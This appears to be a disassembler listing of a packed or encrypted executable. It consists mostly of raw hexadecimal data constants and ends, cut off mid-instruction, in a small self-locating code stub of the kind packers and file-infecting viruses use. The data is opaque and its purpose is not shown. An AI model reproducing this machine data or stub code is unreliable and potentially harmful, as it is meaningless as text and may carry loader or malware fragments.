8BD23367h, 9FCA3310h, 0DF982304h, 0BC13C361h, 5312804Dh dd 7DB42C0Ch, 0A74412A3h, 2E176BE9h, 0EB656C5Ah, 0B5FD1BE5h dd 2586AAEEh, 12870711h, 4BE303EEh, 0CDC83838h, 0FDBA4775h dd 0B40BDB69h, 4B1A8845h, 252C2416h, 985E0140h, 444C34C1h dd 0E37CFE6Ah, 0E22BDFEDh, 57B1B896h, 0F645919h, 0D30F8B7Bh dd 46D0207Ah, 0FFF3CAFEh, 94718471h, 4302EFC0h, 6D4216B6h dd 686D54E2h, 0D16B2A5Ch, 0EB92D5DFh, 9E11AF8Bh, 772327F5h dd 0D9ACC41Eh, 0E66C0C3Ah, 9730485Dh, 8611AD99h, 18E76B0Bh dd 0D01BD102h, 4EFF5B4Fh, 0C7FB7775h, 4A5C34EEh, 885C943h dd 98772B44h, 378E9CE9h, 74C371A9h, 0FFCBF62Fh, 0C0D0487Fh dd 4A094A6Bh, 91C4A2Bh, 72652317h, 2938C8BDh, 0E8CB35D2h dd 0B1640CC7h, 1D7A46EFh, 15D13780h, 274F9A1Bh, 9E433BCFh dd 93C76EC2h, 0ADE8185Dh, 0D33C1FF3h, 4E1E6189h, 4445F8BFh dd 332FE0DBh, 193F86EBh, 0E64C3584h, 0BEEB4AD7h, 92EC4868h dd 4BCBF103h, 30B6DE5Ch, 76FB833Bh, 85D0306Fh, 0EF491A5Bh dd 947111E2h, 4412FCC2h, 282CCADCh, 7D53C3BDh, 0C41869BBh dd 0AEE64291h, 8CCC1366h, 6FD7E20Bh, 28ECCD31h, 16C2BA39h dd 0FE9D7815h, 0B36053F7h, 85577CB5h, 725EE8CEh, 656AD7ABh dd 386CD7F6h, 0F11F7090h, 0E3F5406Eh, 0CDC4347Ch, 37C7E357h dd 61B0C228h, 38DBF31h, 0F3202C01h, 0D93658E4h, 87493DD3h dd 5A620DD3h, 5439DFEDh, 6D63E897h, 0E3E194AEh, 0C9FB066Ah dd 8AC97040h, 69E6564Eh, 57B9CD23h, 43CDBD03h, 0E865973Eh dd 0C35702B2h, 0C1472589h, 6E271FCBh, 412980F4h, 3356B9CCh dd 0A8E98060h, 89094740h, 0CD1E5C04h, 3709F647h, 0F3885005h dd 56F9313Ah, 801B8A31h, 2C74A873h, 0B1694104h, 13F47AD4h dd 5F63A3F8h, 70CF3816h, 0FE013DC3h, 6335DA1Fh, 0C0CE9ABAh dd 276ED919h, 29EC9461h, 5302BE77h, 7D18E88Dh, 0A72E12A3h dd 0D1443CB9h, 0FB5A66CFh, 257090E5h, 4F86BAFBh, 799CE411h dd 0A3B20E27h, 0CDC8383Dh, 0F7DE6253h, 21F48C69h, 4B0AB67Fh dd 7520E095h, 9F360AABh, 0C94C34C1h, 4BC7DDB7h, 1D7898AFh dd 5321780h, 7EA4DC09h, 16AE4598h, 72DF2816h, 3FE55C10h dd 3DD8C0FAh, 311EECACh, 656AE384h, 0D5B516C0h, 0CD1607DDh dd 0A9D2C356h, 900980E5h, 3F86E8B7h, 0AB2FD1CAh, 0F21B1C1Fh dd 35D82C8Fh, 0F7CA0DE6h, 11609479h, 1B72A68Fh, 0E830D0A5h dd 9F65763Eh, 0A1657DD1h, 23F14293h, 0F27F9AF9h, 27DC3696h dd 0B8430F29h, 0AF957B3Ch, 0A5032045h, 500A3A94h, 0DE4F781h dd 0AEAB6875h, 5D28EB21h, 0F34EC840h, 0B25637DCh, 95F7569Dh dd 5BCB28F9h, 5BA6A098h, 0B28E3B35h, 93A01144h, 52174FB5h dd 0FC30698Ch, 1156D004h, 6029CE9Fh, 0D0CF0381h, 7F46A853h dd 0EBF89126h, 0D3823EE7h, 0C170680Dh, 0ACAE9223h, 418628BCh dd 8D730E4Fh, 0BD18EF9Ah, 4C063A7Bh, 0E95EF02Ch, 2B478EA7h dd 69402534h, 0EBB5E2C3h, 0E3E08116h, 444936EFh, 0E5E2F890h dd 8B23032Bh, 0A1CCA403h, 73E2DE54h, 163BC15Eh, 0C70EB210h dd 1CCC0E99h, 18C57951h, 55120C50h, 0ECB0D9DBh, 967C088Bh dd 0C3932983h, 0FDD2DB1Dh, 0EA3A8D33h, 0CAD4AC49h, 83BADA1Dh dd 6AFFFEBDh, 0FDAAAF88h, 2F2F54B1h, 934AF4E7h, 242CA834h dd 13402B63h, 606FBCFAh, 3A9B6E84h, 3A6F8FC4h, 4B3FFBE4h dd 4CDCE81Dh, 0ABD9978Bh, 82F201FEh, 0B71E951Ch, 99B52AA9h dd 4784541h, 35600B50h, 65F59CEBh, 2898101h, 0B1490E5Dh dd 2CBB42A6h, 0F9BC9A12h, 84E763A6h, 5BEA84D3h, 0FDD07528h dd 2BA21560h, 263C44B1h, 1310D272h, 7880C8DDh, 54813D0Dh dd 91D6508Ch, 172F991Fh, 0D6C05077h, 7C854E4Fh, 0F2DF96A1h dd 0B00A0878h, 5DD1689Fh, 830AD3F0h, 0F55815BDh, 0A07E6AE6h dd 0A4997BA5h, 0F451B500h, 0F8A290CCh, 0CDF7A6DCh, 4CFE4CE6h dd 56E53BA8h, 0A0DAF896h, 0FE286084h, 0F4069439h, 0C7DF9950h dd 48524032h, 0AB8B232Ch, 9C6EFC1Eh, 62B1F4F8h, 0F0AAA8F8h dd 0BE8536D4h, 3AD644A4h, 0FFA4C2CEh, 6815DF71h, 1DED5178h dd 843C1A1Eh, 68C1FC5Ch, 0C53E2E0Ah, 1E23BE87h, 80087F0Ah dd 3F868C32h, 719D6C47h, 77021C35h, 0DB3A2A4Eh, 0BFE838C8h dd 0EEF15291h, 33D82570h, 605A0122h, 7A6712E3h, 43DCDB2Eh dd 53793DE4h, 340D7AADh, 9D9EB235h, 9DEEBC2h, 714A5C67h dd 5F85556h, 2AF7A27Ah, 8B48B7Eh, 0B7229E97h, 8C35BC7Fh dd 6C840C23h, 961F72Fh, 5B7A46EFh, 0C62F92AEh, 16360F96h dd 8E97C421h, 741134B0h, 0BDD19CD8h, 0D7FE4273h, 0C1816381h dd 0DD21765Eh, 45794230h, 7923EBCBh, 8CE51987h, 56742D1Ch dd 0FD88518Fh, 41A8E721h, 0BAE18D34h, 7AD7804Bh, 4D5B7640h dd 30F9C5C7h, 7028271Ah, 33702232h, 0BA8B13BDh, 67676656h dd 0A1740CE9h, 0B1F39F7h, 1D0ADC11h, 0E04975B7h, 0B7C21C8h dd 0F614DE47h, 9DE831EFh, 0C80A4782h, 0DA26B7A8h, 0ECF92D6Fh dd 55693440h, 6F66DADBh, 135B70F9h, 0D3AB5082h, 0E648991Dh dd 52358F55h, 0B964072Fh, 156F5CF5h, 5400104Ch, 0D813316Bh dd 422ADDC5h, 0B824BE84h, 59E0BA26h, 0CC6ED76Ch, 0A8FA7973h dd 0E39E261Fh, 4EA8B0E4h, 9B43BCF8h, 30DCB476h, 9F42EB8Ch dd 356ED896h, 1C782278h, 0E55E5542h, 0FF439EE7h, 31ED5F2Ah dd 57960B39h, 4905F167h, 0B049B571h, 0B712D89Dh, 0F7262A62h dd 0B11B63AAh, 4BDD52EAh, 7F90F685h, 2B096993h, 27FF3063h dd 0FD911A0Dh, 0D3AFEC17h, 0A9A7B639h, 7F9898C3h, 55A562D5h dd 65CF34FFh, 4F1D81B2h, 0F25C3EE6h, 0A6B27A9Ch, 85A82866h dd 50EDAE48h, 0C17DB83Ch, 0FB7A66CFh, 50F620E5h, 0C282BEF9h dd 0DC161A5Eh, 0A3A2375Bh, 3148935Bh, 47D91756h, 0DEBB0C69h dd 29E21C3Fh, 82DF1F6Ah, 8F0F8E2Eh, 0C90C34C1h, 95DA38D7h dd 0A97AFDDCh, 0F725D42Ah, 0F21D601h, 5BBA1616h, 2D7A33A5h dd 1019A566h, 9C0B0CC1h, 43029703h, 6D28589Dh, 118E00C6h dd 0F8288943h, 400C56CFh, 60857C75h, 0BF961A0Ch, 0C3EC2B6Eh dd 37F73F4h, 55D83874h, 1811AD6Eh, 2880F98Eh, 3B1AA69Fh dd 6644C0A5h, 78EC9A0Bh, 0A965A054h, 0E3724EE7h, 0B58F0CF5h dd 37722946h, 0E4438382h, 8BDACFBBh, 0B4E02056h, 0DF06CE64h dd 0E1BC7481h, 8EAB353Dh, 5D288A31h, 78B03E2Bh, 1B8CAC26h dd 7BC7CF44h, 0ED906047h, 0D05964A6h, 603841C6h, 83D1EE57h dd 0B79C185Dh, 0EE7AC784h, 1146C99h, 215E979Fh, 0AABEEE5Dh dd 81CD0234h, 40DCEB1Eh, 5609955Dh, 0FD882A91h, 0EF855DA8h dd 136001B0h, 3353E65Fh, 0C197A899h, 0FCAD0C84h, 0EB70251h dd 330B0A22h, 4D48BBBDh, 814D96D3h, 0B14D8E6Ch, 0C1FEB6FFh dd 0A5DCAFDh, 0E1ED62D4h, 2E744BBEh, 0D8C45733h, 369EC85Eh dd 0FE8AB774h, 0F1275C89h, 414E86AFh, 7CD23533h, 1AE6DACBh dd 64FDECFBh, 0F17AD1F8h, 557A7E3h, 0E8417F31h, 553C8CF9h dd 881529A4h, 6AB8664Ch, 2EBD4C9Eh, 6DB9DF0Ah, 0E4426E8Eh dd 3E9A5F1Fh, 126ED2E3h dd 6D5814EDh, 0A42AD9F0h, 1A4ABECDh, 0F07E1CC4h, 0A877C244h dd 0E83D45CCh, 9D4A5CF8h, 3ED60993h, 64C3B0E1h, 0B5A4F3Bh dd 3560A0D6h, 0DA81F29Fh, 899CCD85h, 0B5A21E17h, 584F6459h dd 7DE4BC7h, 30E49C59h, 9912CC1Ah, 6DEF0F78h, 50D9E7D0h dd 0E0B8C146h, 3526ED7h, 271C9CDDh, 0A8836E1Bh, 7CF504F6h dd 2E5DE9E0h, 0D5D079B1h, 0FFD66A4Fh, 0BF048315h, 0EBFD418Ah dd 0B5E628A4h, 6726AA08h, 69EF38CDh, 9CB19EBAh, 0D80F784Eh dd 0CA714504h, 798CDD95h, 0A3B20E2Fh, 70484A48h, 0F7CE5BD1h dd 0C99DF869h, 0B4F54B1Ah, 5C38C92Dh, 0E1930062h, 94C24F8h dd 56685D33h, 1D68B193h, 0BAC55AA8h, 0C01423E6h, 193F8C85h dd 6FD0207Ch, 101B66B3h, 9C4A8B8Eh, 430297F9h, 69E8DC10h dd 9FDEC3F3h, 6A32A179h, 0BCC0576Fh, 0EA7DA01Dh, 1BAA83F4h dd 924E6C47h, 1747096Eh, 0ADD83874h, 93EE5263h, 0BB4DCC7Eh dd 0C16F1EE9h, 0CE5631A7h, 70BA0653h, 13B4942Eh, 6AD98ED4h dd 1DCAF040h, 0B31B5513h, 41B4DC10h, 0FECAF63Fh, 6B087742h dd 8509B597h, 51BCBB0Ah, 0B62854BCh, 5D28F1D1h, 2DB2B84Ah dd 4E98D431h, 5AC22010h, 811587C5h, 6FA68A22h, 2DBCC431h dd 0AB166E44h, 9494BD57h, 7C984263h, 4398D100h, 0DC81968Fh dd 45794430h, 7F56EACBh, 196561A1h, 0AF073CA7h, 57987834h dd 1E2A17D4h, 5144BC29h, 70AFE64Fh, 20FAA8D5h, 0CF160306h dd 9F218F3Bh, 0D42ABF1Fh, 5D713C38h, 775FE2D3h, 117678E9h dd 0B62F3CD6h, 35A0702Ch, 0BABC89CFh, 49DC8D3Ch, 0CB847531h dd 180FF8ECh, 0C71E0B07h, 0F1245E99h, 0D38E84DAh, 7C2D15CFh dd 0C400DACBh, 0DBD4B978h, 532A2E17h, 46A85834h, 2E3A07C4h dd 41DCAC59h, 1A9ED65Fh, 6AFC209Dh, 3B93DD74h, 0E92C4498h dd 66427EB3h, 37E018C6h, 7757AC66h, 0DC6F56F9h, 821EA3F8h dd 0EDB05035h, 1EB37A3Bh, 0D95F1C37h, 5A8C6B6Dh, 266EF86Dh dd 5CB4E2A0h, 0C88C2ABCh, 75EF7CA7h, 0F560B0ECh, 0FA7CC90Fh dd 899CCD7Fh, 3655B571h, 0DDA871A9h, 7CE6243h, 0F165243Fh dd 9F7AC51Bh, 0FBB5FA8Dh, 0C9260AA2h, 5C8A4B1Ah, 3425745h dd 0D6C77076h, 0D2893D0Ch, 8184D58Dh, 0EBAA161Fh, 85704E41h dd 0C6AAEF49h, 0C1469471h, 0ACFD45E2h, 0F4E6A700h, 0B76C822Eh dd 55C1CBB9h, 0FB5A76F6h, 51F090E5h, 0E56E0AF7h, 0CD216DBAh dd 48B21E65h, 3629D038h, 9D369DACh, 0D60B7392h, 5B3332FAh dd 7420E095h, 2F3D7FABh, 0B5C93E81h, 59624EEEh, 0A51E8706h dd 0E2847280h, 71B4E565h, 9A0AAD49h, 4155C7EFh, 0EFE64A62h dd 6CFC8671h, 0C79759A8h, 6D28C8A4h, 0E23E06B3h, 0CB949CD3h dd 0FB53285Ah, 96250AF5h, 0FE96BA32h, 0D1CAC4C1h, 23697F51h dd 0DD0C34Dh, 996B5823h, 0BB046C40h, 29E2378h, 6530D0B5h dd 9F33FAB3h, 51DF9CB7h, 0DA0FEBEDh, 0A6EE78EDh, 3F75A3A3h dd 0E4BE8499h, 8BDACF42h, 4F3FC8FFh, 5A01B594h, 91C4D05h dd 33329E97h, 784DBD1Ch, 7FCD4AA5h, 8819B9D3h, 701C46FFh dd 2C3AB036h, 3FE40AA6h, 0DD393331h, 83D2FE7Eh, 0D8E8385Dh dd 3C89F36Ch, 8AC0A92h, 568F9C87h, 9540D08Ch, 0DA5CE92Fh dd 0A97C2D9Ch, 6EAB9591h, 0FD882A9Dh, 822453A9h, 51D4FEA9h dd 236A4D29h, 9C8C9567h, 27AC3A6Bh, 6E39EE8h, 1AB60B50h dd 4D4BB8ADh, 5B2AE3D3h, 98F0891Eh, 0CB8A36EFh, 0D5D56415h dd 26320FDCh, 49CCB451h, 7997DD57h, 6201D685h, 3D45DA7Ch dd 0F1CCA366h, 0F3C57955h, 0BAAF4A84h, 56E25F2Ch, 997C04E1h dd 0CBE62607h, 50291ADh, 0E841781Eh, 785029BEh, 6BEAD64Fh dd 0BF741075h, 3A3C2D3Bh, 0E93C6DDDh, 1E589E76h, 3D7CA044h dd 5E1277E1h, 7544FCE9h, 0BF5EA60Ch, 1C4FB88Eh, 6E7685C4h dd 0C02B4CFBh, 0DB943198h, 28021882h, 0B70E1BEFh, 7DCE7CFh dd 0FCB58946h, 25592450h, 5F76EAEBh, 2C88001h, 3B2F95D0h dd 0F6B8586Fh, 0FB8FFB82h, 0B4EEC4E9h, 5BEAFF13h, 7CAF182Fh dd 2AD1E564h, 0D92C7D35h, 3126EC7h, 950E94A9h, 0D27401A3h dd 8184D575h, 13CC1CF4h, 70CAA0CAh, 0FFC65337h, 0BF043F07h dd 0A4FD418Eh, 6D216C08h, 0A72E11A3h, 5A1B48B8h, 5BDFED00h dd 0E7080A7h, 0B3CE3333h, 0FC6B2D22h, 0A3A237A3h, 0CD48383Dh dd 72536C26h, 21E4B515h, 0CB4ABEF5h, 8D53E36Ch, 0DBFB0E26h dd 84C24E5h, 78D25637h, 7B7E6B46h, 214E83BBh, 0FE1CBAB2h dd 9B026EAFh, 24D23045h, 44BEF13Dh, 1F894DF4h, 832316E1h dd 0AE9873FBh, 6E15EA19h, 44A3D336h, 0EB7A6F5Bh, 958080F5h dd 0F01DB07Fh, 2B1851AAh, 5BE9FE27h, 552460C4h, 1811AB1Ch dd 0F9AEBFC9h, 0C4E55F8Ah, 5CA05528h, 0AB1FAABh, 0B94C1D55h dd 0C3724EE7h, 26DF7E88h, 2E75FAEBh, 4A9C9FA2h, 1ADDC7h dd 0A5A288D8h, 57634B6Bh, 80C64C3h, 176615AEh, 358541A9h dd 0C4EE2D3h, 0A1269064h, 53FF6DEFh, 0F2906047h, 3F9F1E9Eh dd 59BC8431h, 74D09A47h, 0A92AB385h, 54A91473h, 1156A834h dd 0AF25969Fh, 5540C16Ch, 7F56E723h, 0FB295FE1h, 0E0CE7BB9h dd 0B1DC463Fh, 0B251926Fh, 51D4824Bh, 390263C6h, 2EA31075h dd 17050623h, 7234176Eh, 3ADABAE4h, 0C6B74748h, 671C5A46h dd 0E37757E9h, 170FBFF3h, 0F6A07057h, 9A3F8269h, 49DCF6A1h dd 8CCAADDCh, 9DF888DEh, 33FCDA83h, 4CAFA366h, 1B2AC417h dd 0B1B65893h, 0FAED2524h, 996C4649h, 0C09A648Ch, 23835457h dd 18BB6BB0h, 41D5CCC1h, 316ED95Fh, 96000074h, 0AF54963Eh dd 919957A1h, 0BF426EF5h, 0B85740F1h, 676ED241h, 0BA80BA74h dd 0ABD85E8Ah, 0B5B65325h, 0F032D9D3h, 816127AEh, 63F2DE25h dd 0CA33F308h, 0AC9D2D9Fh, 0A344CA8h, 0B3DF4FB3h, 3A60B097h dd 5F77C76Eh, 0F109F701h, 0D5A20E55h, 0F84770ACh, 732F74Ch dd 716F9C59h, 6FB9ED6Dh, 717618D5h, 121FE564h, 0D92C0609h dd 3B6EBC8h, 0A86B98DDh, 576E804Fh, 0C3EC690Ah, 0AB21160Fh dd 0DACC071Eh, 0FFD6A7C9h, 21ABAF61h, 53C63D78h, 0BD9BE88Dh dd 0B36911A1h, 933CB9BAh, 0AB0866DFh, 67A8251Ah, 0DA79BAEBh dd 798CDA23h, 0AC728B7Dh, 0CDC88FB8h, 0F7428B53h, 0DEC88C69h dd 4B9E3370h, 4BA0E095h, 14B305BEh, 424C34C1h, 0B0495F91h dd 0E890D8D9h, 7E714DF0h, 61E664A4h, 98CD732Fh, 0D5928CC0h dd 9763595Bh, 90FC9433h, 53504A02h, 5628539Dh, 877CDE36h dd 0FA5C5EC9h, 0FB28B65Ah, 28E9F2F5h, 4F96AA0Bh, 7644E353h dd 1EC2FE37h, 7C53D403h, 0A5ED5048h, 0F5814769h, 4E1AB6CDh dd 75F453A9h, 0CBC9CB44h, 523D38F5h, 66FD8DFCh, 0D983A65h dd 4F2B2973h, 89B4DC6Bh, 743502ACh, 0B5E08934h, 0D183CA6Bh dd 7B0033AAh, 3B65A59Eh, 0A2044AA2h, 88070D3Ch, 4E9AAE5Ch dd 0FF46CD10h, 2C14D784h, 0D0599A1Bh, 1B572BCEh, 0E3F6A4C6h dd 0E308185Dh, 0DB758240h, 0C591EBADh, 0A22A86DDh, 45020030h dd 0F7EF67CBh, 0AA6C14C8h, 0C3C04672h, 583D0E0Dh, 2468B96Dh dd 13EFA87Bh, 809C2043h, 0F671D78Dh, 0CA063A7Bh, 701C6491h dd 7D6D72E1h, 0D8B7EF7Eh, 774EDCADh, 0AE6BE428h, 0CB8B2C7Ah dd 9FF43015h, 0E049E003h, 59F26AD4h, 2C225B57h, 9CFD8062h dd 4BE63283h, 19DBA37Dh, 1B3A86BEh, 324D596h, 3C03B6B2h dd 0EB096794h, 82EB5A6Eh, 0A11DA71Dh, 0E8BE9271h, 51EA9EDCh dd 3F6F5F5Fh, 7D001037h, 0BF162A92h, 887831F2h, 640D1BDCh dd 4E2ACDA3h, 371EBB8Bh dd 0F8F2958Bh, 0DEFD4363h, 0B8580725h, 0E73985D3h, 39DCA442h dd 6A0AB34h, 0FF678C0Eh, 0DE6C72F6h, 845825DFh, 5C4A13D8h dd 0CA889F3Dh, 5F642214h, 0ECDFF401h, 0D8C17F55h, 0AFE83858h dd 6BA7042Ah, 3181FB3Ch, 0B3D82E38h, 9DF80F7Ah, 0FC261A9Bh dd 0B85407D4h, 4D3709A9h, 4B01ECB2h, 3E0C928Ah, 0E4F8857Fh dd 0FCAA7378h, 2A27BFDDh, 72823AB4h, 39D104E4h, 366D477h dd 824FE9E7h, 0B710F836h, 0F578B5B9h, 0C57CF330h, 0E55A90F5h dd 0ECE0776h, 29CCE401h, 3307F177h, 0A5C82800h, 0F7DA6252h dd 76F5E63Dh, 95E2380h, 1F74E085h, 0AC95DAFh, 0C95C7695h dd 0C769A54h, 0D3AC458h, 251B4D03h, 2EA4CC27h, 0D30F8BECh dd 93D02004h, 0D180CFA4h, 0E17F8461h, 0F896A178h, 0E428D89Dh dd 877C5A36h, 975446C9h, 0D5C8C320h, 0D50580E5h, 3F322E04h dd 0A987D421h, 90A8AE67h, 0D5D9421Dh, 27EE5263h, 5391832Fh dd 0B81AB6B1h, 0E13F2F5Dh, 8F46FCBCh, 0FB00A158h, 6EFF4EF7h dd 0D983A9Dh, 75F6379Eh, 33E5CC39h, 749AF655h, 0A5DE4EC0h dd 200EC96Bh, 0CD9F08Eh, 33489E97h, 1F647D52h, 12B1F2D3h dd 0B17422B3h, 0D485BE6Ch, 595CE81h, 5F23131Bh, 6ABCD473h dd 0D211ED8Eh, 0A982490Dh, 8B4BBD22h, 0FE147CCBh, 3B14D00Ah dd 5A8045B5h, 7F53704Fh, 20A527E1h, 0C3C04A72h, 0ACC9390Dh dd 28AE8D4Bh, 0C43BEC39h, 7BCAD8C1h, 21FFD0E0h, 0CF063F28h dd 0BB64E118h, 9BF18EB7h, 4D48CA56h, 8066A958h, 0B14D886Ch dd 0CB8A36FFh, 0F6A61535h, 0FA6E2AEh, 4A1E8741h, 84132996h dd 197D818Ch, 7F0E22C1h, 0F1247516h, 1806CD24h, 5540D840h dd 6CB4E9DBh, 6E8DF330h, 0BF17A7E6h, 2EA8485Fh, 11F5353Ch dd 0CCE14FB0h, 0DCE5CE0Ch, 45031436h, 97D741C2h, 0D3AD84A2h dd 7D2B09E8h, 0BE45DC34h, 156FDE99h, 0ADCF7719h, 0B88E6484h dd 0A13D4067h, 0D6318573h, 0BCE76572h, 63E28C17h, 0A95C73BEh dd 38DE1183h, 0E134F42Bh, 0C4C1B5BFh, 88EDAB3Eh, 5F668BA3h dd 0BA537FFDh, 0D29EB2DEh, 0A7844E5Fh, 27E27034h, 45B8A0F3h dd 2FD4FA83h, 0F010CC58h, 24EFF973h, 817979B0h, 8266E82h dd 7F2BCBE0h, 64FBCDF3h, 0A6B13F6h, 0E2FD2B1Ch, 51CF037Bh dd 29956Dh, 7CAFC35Ch, 4886B139h, 40E71772h, 951D51F4h dd 2E54B8B6h, 0AB679930h, 2A3FC4B6h, 0B079BF7Fh, 9147D7EEh dd 5C4DF00Ah, 37202848h, 1F219DAFh, 0DE0B7248h, 0B5E63270h dd 0A7131F6Ah, 9F361C43h, 362FDCC1h, 0F38AA128h, 407888EDh dd 739D5F82h, 8B4DDC09h, 0FFBA062Ch, 705B02BAh, 0EFF61823h dd 7FDE0D15h, 195F9006h, 6ECB5D92h, 0C9B502B3h, 0A78A2FF5h dd 0AE3A6D5Eh, 165305FAh, 7C61AA0Bh, 698CD437h, 5547F137h dd 4BD8284Eh, 0E8EC0E20h, 1107C0FDh, 33592D8Fh, 0C5907098h dd 21C2F51Bh, 845C24D2h, 0C3526EC7h, 0E2BFCF2h, 0BC15A213h dd 61B4CCE1h, 639BE0DCh, 4A1FCFDDh, 9D4AC768h, 0C70F7491h dd 3362FF14h, 5D7CA92Eh, 78B0692Bh, 0CBE61326h db 0ECh, 46h word_62549E dw 587Ah ; DATA XREF: sub_5992DA+4392o dd 15D2B0A0h, 6D2D9A1Bh, 49F64F39h, 87A12F6Ch, 0A803D86Eh dd 9D778A70h, 8191E599h, 282A86DDh, 55F8CCFFh, 2E56EBCBh dd 568AAA09h, 51170E08h, 4C987834h, 0A41BA203h, 3BC4AC00h dd 2313186Fh, 118041Dh, 4AF9C59Dh, 3B886B43h, 0B6036C74h dd 4D588139h, 0F2A90738h, 0A164356Dh, 0CA8A36FFh, 70574261h dd 1FA6B3AFh, 49CCB442h, 0D663D222h, 9DE831E9h, 3CF1CD7Ch dd 7CA55672h, 1B2ABF2Bh, 4D50B0C5h, 6F66DCB3h, 9F145DF1h dd 9B922E07h, 124E0EF5h, 6B3B08CCh, 0C7D4BC70h, 5296FCDBh dd 10880065h, 0BF0613F7h, 6CDBB443h, 13524733h, 3D58A8C5h dd 0DAEEDB96h, 9194C587h, 4C5F520Eh, 0F589D4A0h, 0FC67A3Bh dd 0B9C7D059h, 73CBB2DAh, 3D7CFD7Dh, 8E639F13h, 95314CB9h dd 75F7F618h, 3060B0ECh, 0DA81549Fh, 899CCD85h, 0A3A21E17h dd 60384159h, 7DE4B3Fh, 0B26DEB5Bh, 4BB802CAh, 23F8F085h dd 47D9E569h, 26C3B9F2h, 3501F2Fh, 51F513DDh, 547ED2B1h dd 91D66C94h, 57F1FE1Fh, 51CFBFCAh, 0FFD6681Ah, 6B9421EAh dd 0D89BE67h, 95C6EBB1h, 58D1EFFFh, 0D37FBEB6h, 0B1DB66CFh dd 2570F0C1h, 1D78311Bh, 6DE6E747h, 54A27424h, 0DDF1BCB8h dd 0F7DE6253h, 0A8E0F949h, 5B487EC2h, 0E5956D95h, 14361A92h dd 0D95C5C4Ch, 0A4C6ADD7h, 1D72EC54h, 473B3F03h, 82A4CC09h dd 78BAB78Ah, 3274C347h, 0FFDFDEDEh, 19FC8471h, 0ED96A1A7h dd 9228D89Dh, 46D62AC0h, 4AABD324h, 0FB28EE4Ah, 1A5205F5h dd 3F96328Fh, 11195F21h, 18C2EE75h, 0F7593807h, 0E7EE3247h dd 194E5799h, 0F229A4FCh, 5E24A2A6h, 9F569236h, 0D1D1AFD1h dd 91725EF7h, 29B4F3ABh, 27F60790h, 0E2B4CC39h, 8BCA9E98h dd 0CF6B2055h, 0D7BC4B63h, 0FE8B8382h, 71AE1B1Ch, 0D8CFC8BDh dd 875ECB47h, 0B1641C99h, 0C38D449Bh, 2C9C0206h, 0EB13132Bh dd 0D2BCD473h, 0B3D3C634h, 946C9DAAh, 0D7BE4263h, 3606C89h dd 0C37B8E68h, 0AABF3C9Eh, 7C5A0192h, 0DB473C92h, 20D46FFBh dd 70C137A9h, 37970296h, 99793539h, 88DAF60Dh, 0AAAE4FC1h dd 488BA84Ah, 0F91C65AEh, 1AB01B9Dh, 4B3DB8ADh, 212630BAh dd 28121EDDh, 0EC62DFAFh, 0AF5F9FCFh, 1CBAC0A0h, 0CC3BA40Bh dd 73F2E7D3h, 0BDF8086Dh, 0B20B730Eh, 35A9D58Ah, 183A96EDh dd 5540D840h, 7C159DBh, 997C04F1h, 4ABA6D2Ch, 0EDA80B9Ah dd 573B7533h, 40D4BC76h, 1FEAD65Fh, 9D43C772h, 1FB68A2Bh dd 0D0A8D156h, 13427EA7h, 3A2CB8CDh, 90353AB1h, 1ADE0306h dd 0ABD8E282h, 6CB5B325h, 22D5270h, 7B1C29DAh, 6111CE77h dd 0C683FB96h, 339BD5BBh, 0E2345C90h, 7F4A76BFh, 0FDE52BC1h dd 5C76DAA9h, 99CE448Ch, 1F271D17h, 0DCB8586Fh, 1784F94Bh dd 739819D2h, 11C3C67Fh, 0C13838Dh, 0ED2712D1h, 815FC7A1h dd 87D7E5C7h, 4568889Fh, 577EEB63h, 0D89CAE08h, 21FA551Eh dd 0C5F9C2A0h, 7B539D4Bh, 29EC8458h, 2722BE77h, 1595EB8Bh dd 112E02B3h, 55C1CBB9h, 0FB5A76F6h, 507092E5h, 0B84044EFh dd 69A56094h, 0A7B20E27h, 47CE4D3Dh, 0E7E7E1E6h, 0A5717B69h dd 4B0AA646h, 20E0D5h, 9D3180A0h, 1F4E9E03h, 0FA89A935h dd 0DF4A8F67h, 0A558B0A9h, 1576EFEEh, 14DE24A4h, 78536847h dd 0EFF61807h, 0A6788B71h, 0BCED517Dh, 7D6AA028h, 25ABFDB3h dd 3E543CF7h, 0FB28226Ah, 33157FF5h, 0B296BA35h, 79EEB4ACh dd 0FB577337h, 0ECD8380Fh, 18EE3831h, 14620CCh, 9D8F598Fh dd 9A30C09Bh, 9F04A60Eh, 9FC9DBD1h, 6E725ED9h, 1DC93048h dd 6F2B5D13h, 37B4DC6Bh, 0B56863C0h, 10632045h, 0DFE60837h dd 9E4B781h, 6E229E97h, 0B0B9C9C7h, 875ECA4Ch, 706BEC81h dd 0CB6FC66Ah, 0C650F505h, 0DF595298h, 0D939053Eh, 40D2FE52h dd 87E80860h, 0B1E23773h, 0D301008h, 385FE7F3h, 0AA8428D5h dd 7A231534h, 5696A109h, 2C50D608h, 0D3F997F2h, 71D6BFDCh dd 747CAE0Dh, 1BDAE64Fh, 5A0FB58Dh, 443F4F84h, 742C40D5h dd 3373C612h, 451833BDh, 716463B5h, 0F7517FEBh, 348A3697h dd 9F64EB15h, 0E0E6D82Bh, 59F246D4h, 7B265D57h, 0A2A436ECh dd 0C47B6EBCh, 19209A1Ah, 0E4C57CCDh, 0BAAFCF2Dh, 0D7A5BB24h dd 997C0485h, 0EC2A9FECh, 5A8581Dh, 17BE822Eh, 0F9D48C8Bh dd 6BEAD66Fh, 9500109Dh, 0BF32E88Bh, 0E92DD119h, 134196B7h dd 119AA8CDh, 433A5FE3h, 12AA31F5h, 0A2E626F7h, 0E5B0B845h dd 5B4D7A3Bh, 0B2819475h, 51F4F7Dh, 6508E844h, 48E1C274h dd 0E1308EC8h, 0D4B73B8h, 0F215A3D7h, 63966768h, 119415FFh dd 0FF8B0100h, 7E8F5h, 0E8F90000h, 6Dh, 0FF6467F8h, 67000036h dd 268964h, 89DB8900h, 50E8C0h, 0F8F50000h, 81F9DB87h dd 0EFA036EBh, 2A1ABFFFh, 87F50000h, 0E183DBh, 0F1C181h dd 53900000h, 386D289h, 8990C089h, 3166F5D2h, 0C08990C8h dd 890386FCh, 8343F9C0h, 99001EFh, 5BE375FFh, 8F64DB87h dd 5, 90FC5900h, 0E3FFDB87h, 0F85B00EBh, 89E3FFFCh, 24448BC0h dd 0B8808F10h, 22Fh dup(0) dd 7C816FD7h, 361h dup(0) db 2 dup(0) word_627056 dw 0 ; DATA XREF: sub_597CE3+38o dd 0FEAh dup(0) ; --------------------------------------------------------------------------- call $+5 mov eax, [esp] cld mov [eax+32C7h], ebx mov ecx, [eax+297Fh] mov ebx, [esp+4] and ecx, 10000000h jz short loc_62B04C pop ecx mov [eax+32CBh], esi mov cl, [eax+2983h] mov [eax+32CFh], edi cmp cl, 0E8h jz short loc_62B041 mov 